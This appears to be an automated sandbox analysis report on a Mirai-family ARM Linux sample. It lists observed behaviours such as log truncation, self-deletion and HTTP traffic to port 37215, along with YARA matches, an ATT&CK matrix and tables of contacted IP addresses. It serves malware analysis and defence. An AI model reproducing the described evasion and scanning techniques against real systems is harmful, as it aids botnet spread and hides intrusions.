Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/arm5-20231213-1917.elf (PID: 5467)

Log files deleted: /var/log/kern.log

Jump to behavior

Sample deletes itself

Source: /tmp/arm5-20231213-1917.elf (PID: 5461)

File: /tmp/arm5-20231213-1917.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 34332
Source: unknown	Network traffic detected: HTTP traffic on port 45168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45168
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 57096
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 37278
Source: unknown	Network traffic detected: HTTP traffic on port 42908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33650
Source: unknown	Network traffic detected: HTTP traffic on port 38856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 38856
Source: unknown	Network traffic detected: HTTP traffic on port 36580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 36580
Source: unknown	Network traffic detected: HTTP traffic on port 44100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52278
Source: unknown	Network traffic detected: HTTP traffic on port 54608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 54608
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 49094
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 37215

Source: /tmp/arm5-20231213-1917.elf (PID: 5467)	Truncated file: /var/log/syslog	Jump to behavior
Source: /tmp/arm5-20231213-1917.elf (PID: 5467)	Truncated file: /var/log/kern.log	Jump to behavior
Source: /tmp/arm5-20231213-1917.elf (PID: 5467)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system.journal	Jump to behavior
Source: /tmp/arm5-20231213-1917.elf (PID: 5467)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/user-1000.journal	Jump to behavior

Source: /tmp/arm5-20231213-1917.elf (PID: 5461)

Queries kernel information via 'uname':

Jump to behavior

Source: arm5-20231213-1917.elf, 5461.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5477.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5479.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5481.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5489.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5494.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5497.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5499.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5507.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5510.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5538.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5541.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5546.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5548.1.00007ffd17321000.00007ffd17342000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5-20231213-1917.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5-20231213-1917.elf
Source: arm5-20231213-1917.elf, 5659.1.000055edff4ef000.000055edff61d000.rw-.sdmp	Binary or memory string: !/tmp1/tmp/vmware-root_727-4290690966!
Source: arm5-20231213-1917.elf, 5461.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5477.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5479.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5481.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5489.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5494.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5497.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5499.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5507.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5510.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5538.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5541.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5546.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5548.1.000055edff4ef000.000055edff61d000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5-20231213-1917.elf, 5659.1.00007f68d0033000.00007f68d0242000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: arm5-20231213-1917.elf, 5659.1.00007f68d0032000.00007f68d0033000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_727-4290690966
Source: arm5-20231213-1917.elf, 5659.1.000055edff61d000.000055edff63e000.rw-.sdmp	Binary or memory string: !/var/lib/vmware/VGAuth!/var/lib/udisks21/var/cache/private/fwupdmgr/fwupd
Source: arm5-20231213-1917.elf, 5659.1.000055edff61d000.000055edff63e000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: arm5-20231213-1917.elf, 5659.1.000055edff4ef000.000055edff61d000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_727-4290690966
Source: arm5-20231213-1917.elf, 5659.1.000055edff61d000.000055edff63e000.rw-.sdmp	Binary or memory string: !/var/lib/vmware0!/var/lib/ispell1/var/cache/dictionaries-common
Source: arm5-20231213-1917.elf, 5659.1.00007f68d0033000.00007f68d0242000.rw-.sdmp	Binary or memory string: /var/lib/boltd8/var/lib/vmware
Source: arm5-20231213-1917.elf, 5461.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5477.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5479.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5481.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5489.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5494.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5497.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5499.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5507.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5510.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5538.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5541.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5546.1.000055edff4ef000.000055edff61d000.rw-.sdmp, arm5-20231213-1917.elf, 5548.1.000055edff4ef000.000055edff61d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5-20231213-1917.elf, 5659.1.000055edff61d000.000055edff63e000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: arm5-20231213-1917.elf, 5461.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5477.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5479.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5481.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5489.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5494.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5497.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5499.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5507.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5510.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5538.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5541.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5546.1.00007ffd17321000.00007ffd17342000.rw-.sdmp, arm5-20231213-1917.elf, 5548.1.00007ffd17321000.00007ffd17342000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5-20231213-1917.elf, 5659.1.000055edff61d000.000055edff63e000.rw-.sdmp	Binary or memory string: !/var/lib/apport !/var/lib/dpkg/partsQ/var/lib/systemd/deb-systemd-helper-enabled/rescue.target.wantsP!/var/lib/dpkg/updates1/var/lib/vmware/VGAuth/aliasStore
Source: arm5-20231213-1917.elf, 5659.1.000055edff61d000.000055edff63e000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: arm5-20231213-1917.elf, 5659.1.00007f68d0033000.00007f68d0242000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth4/var/lib/NetworkManager

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm5-20231213-1917.elf, type: SAMPLE
Source: Yara match	File source: 5610.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5477.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5481.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5620.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5648.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5659.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5551.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5497.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5541.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5538.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5489.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5626.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5461.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5570.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5548.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5510.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5628.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5636.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5561.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5618.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5546.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5587.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5567.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5579.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5577.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5645.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5633.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5605.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5499.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5599.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5479.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5558.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5608.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5657.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5507.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5597.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm5-20231213-1917.elf, type: SAMPLE
Source: Yara match	File source: 5610.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5477.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5481.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5620.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5648.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5659.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5551.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5497.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5541.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5538.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5489.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5626.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5461.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5570.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5548.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5510.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5628.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5636.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5561.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5618.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5546.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5587.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5567.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5579.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5577.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5645.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5633.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5605.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5499.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5599.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5479.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5558.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5608.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5657.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5507.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5597.1.00007f68d0017000.00007f68d0027000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Indicator Removal	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm5-20231213-1917.elf	100%	Avira	EXP/ELF.Mirai.Gen.W

Name	Source	Malicious	Reputation
https://ubuntu.com/engage/secure-kubernetes-at-the-edge	motd-news.22.dr	false	high
http://schemas.xmlsoap.org/soap/encoding/	arm5-20231213-1917.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	arm5-20231213-1917.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.53.237.247	unknown	South Africa	37168	CELL-CZA	false
157.59.234.237	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
197.156.113.109	unknown	Ethiopia	24757	EthioNet-ASET	false
197.90.103.227	unknown	South Africa	10474	OPTINETZA	false
197.96.225.142	unknown	South Africa	3741	ISZA	false
41.128.236.162	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.223.107.185	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.169.11.98	unknown	France	2418	FR-ASNBLOCK2FR-MAN-SOPHIA-ANTIPOLISEU	false
157.141.117.204	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
41.179.39.122	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.37.190.59	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.45.56.21	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.178.216.239	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.71.38.216	unknown	South Africa	16637	MTNNS-ASZA	false
157.153.30.162	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
197.77.43.254	unknown	South Africa	16637	MTNNS-ASZA	false
157.149.243.147	unknown	United States	3464	ASC-NETUS	false
157.105.200.185	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.177.39.234	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.55.171.109	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.159.177.48	unknown	Sao Tome and Principe	328191	CST-NET-ASST	false
41.152.155.75	unknown	Egypt	36992	ETISALAT-MISREG	false
197.46.166.209	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.85.122.33	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
72.6.56.79	unknown	United States	10507	SPCSUS	false
197.175.183.151	unknown	South Africa	37168	CELL-CZA	false
41.246.219.21	unknown	South Africa	5713	SAIX-NETZA	false
197.190.12.11	unknown	Ghana	37140	zain-asGH	false
157.153.30.179	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
197.22.223.223	unknown	Tunisia	37693	TUNISIANATN	false
9.70.108.159	unknown	United States	3356	LEVEL3US	false
41.5.41.248	unknown	South Africa	29975	VODACOM-ZA	false
159.48.160.107	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
197.23.213.114	unknown	Tunisia	37693	TUNISIANATN	false
211.222.77.209	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
17.28.135.145	unknown	United States	714	APPLE-ENGINEERINGUS	false
197.184.187.150	unknown	South Africa	37105	NEOLOGY-ASZA	false
157.49.128.162	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
146.85.165.99	unknown	United States	600	OARNET-ASUS	false
157.249.142.125	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
39.201.95.92	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
153.121.84.187	unknown	Japan	9370	SAKURA-BSAKURAInternetIncJP	false
157.198.147.49	unknown	United States	4704	SANNETRakutenMobileIncJP	false
42.92.153.227	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
157.246.54.201	unknown	United States	394271	SPS-157-246-0-0US	false
196.147.157.142	unknown	Egypt	36935	Vodafone-EG	false
107.234.76.203	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
41.110.52.230	unknown	Algeria	36947	ALGTEL-ASDZ	false
193.31.36.98	unknown	Spain	200738	INTERFIBRA-ASES	false
203.92.171.205	unknown	China	10081	DIGI-MYDiGiTelecommunicationsSdnBhdMY	false
212.93.118.42	unknown	Latvia	24921	LMT-3GRigaLatviaLV	true
197.173.131.65	unknown	South Africa	37168	CELL-CZA	false
157.213.201.217	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.91.181.180	unknown	United States	1767	ILIGHT-NETUS	false
157.37.131.131	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.187.164.218	unknown	United States	668	DNIC-AS-00668US	false
138.22.182.56	unknown	Austria	1853	ACONETACOnetBackboneAT	false
157.7.0.252	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.158.204.202	unknown	Seychelles	37343	AirtelSeychellesSC	false
119.209.45.251	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
157.158.112.165	unknown	Poland	8508	SILWEB-AS-EDUSILWEBAutonomousSystem-AcademicPL	false
50.9.207.108	unknown	United States	2686	ATGS-MMD-ASUS	false
41.110.216.194	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.98.209.20	unknown	United States	3527	NIH-NETUS	false
41.88.141.234	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
41.252.107.121	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
132.30.244.70	unknown	United States	386	AFCONC-BLOCK1-ASUS	false
197.50.56.104	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.40.24.231	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.149.186.157	unknown	South Africa	5713	SAIX-NETZA	false
150.194.43.208	unknown	United States	1479	DNIC-ASBLK-01478-01479US	false
197.141.77.67	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.177.186.252	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.195.100.247	unknown	Egypt	36992	ETISALAT-MISREG	false
60.240.201.196	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
41.196.201.0	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.46.178.48	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.40.226.122	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.203.40.33	unknown	South Africa	36968	ECN-AS1ZA	false
41.114.27.103	unknown	South Africa	16637	MTNNS-ASZA	false
157.196.110.21	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.109.134.55	unknown	South Africa	37168	CELL-CZA	false
23.254.241.19	unknown	United States	54290	HOSTWINDSUS	false
197.143.225.42	unknown	Algeria	36891	ICOSNET-ASDZ	false
186.44.172.34	unknown	Trinidad and Tobago	5639	TelecommunicationServicesofTrinidadandTobagoTT	false
197.25.238.85	unknown	Tunisia	37671	GLOBALNET-ASTN	false
157.121.65.55	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
197.106.7.178	unknown	South Africa	37168	CELL-CZA	false
47.41.219.214	unknown	United States	20115	CHARTER-20115US	false
135.60.230.148	unknown	United States	18676	AVAYAUS	false
157.96.7.133	unknown	United Kingdom	4713	OCNNTTCommunicationsCorporationJP	false
108.20.246.100	unknown	United States	701	UUNETUS	false
157.148.177.72	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
197.157.226.184	unknown	unknown	37429	SpidernetBI	false
47.141.253.27	unknown	United States	5650	FRONTIER-FRTRUS	false
121.254.166.239	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
41.134.112.180	unknown	South Africa	10474	OPTINETZA	false
197.109.183.126	unknown	South Africa	37168	CELL-CZA	false
41.128.236.144	unknown	Egypt	24863	LINKdotNET-ASEG	false
157.222.9.22	unknown	United States	4704	SANNETRakutenMobileIncJP	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.53.237.247	MviPEORLUw.elf	Get hash	malicious	Unknown	Browse
157.59.234.237	0d1pbS7iS5.elf	Get hash	malicious	Unknown	Browse
157.59.234.237	rWo1PxISxc.elf	Get hash	malicious	Mirai	Browse
197.156.113.109	LToQ9gPa1Y.elf	Get hash	malicious	Mirai	Browse
197.156.113.109	t2pO72ceGk.elf	Get hash	malicious	Mirai, Moobot	Browse
197.45.56.21	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	35CCgutRYg.elf	Get hash	malicious	Mirai, Moobot	Browse
	RASeSG4oKm	Get hash	malicious	Mirai	Browse
197.96.225.142	qYPsFsdb1K	Get hash	malicious	Mirai	Browse
41.128.236.162	i586.elf	Get hash	malicious	Mirai	Browse
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	4IP0JJ1OXh.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.arm7.elf	Get hash	malicious	Mirai	Browse
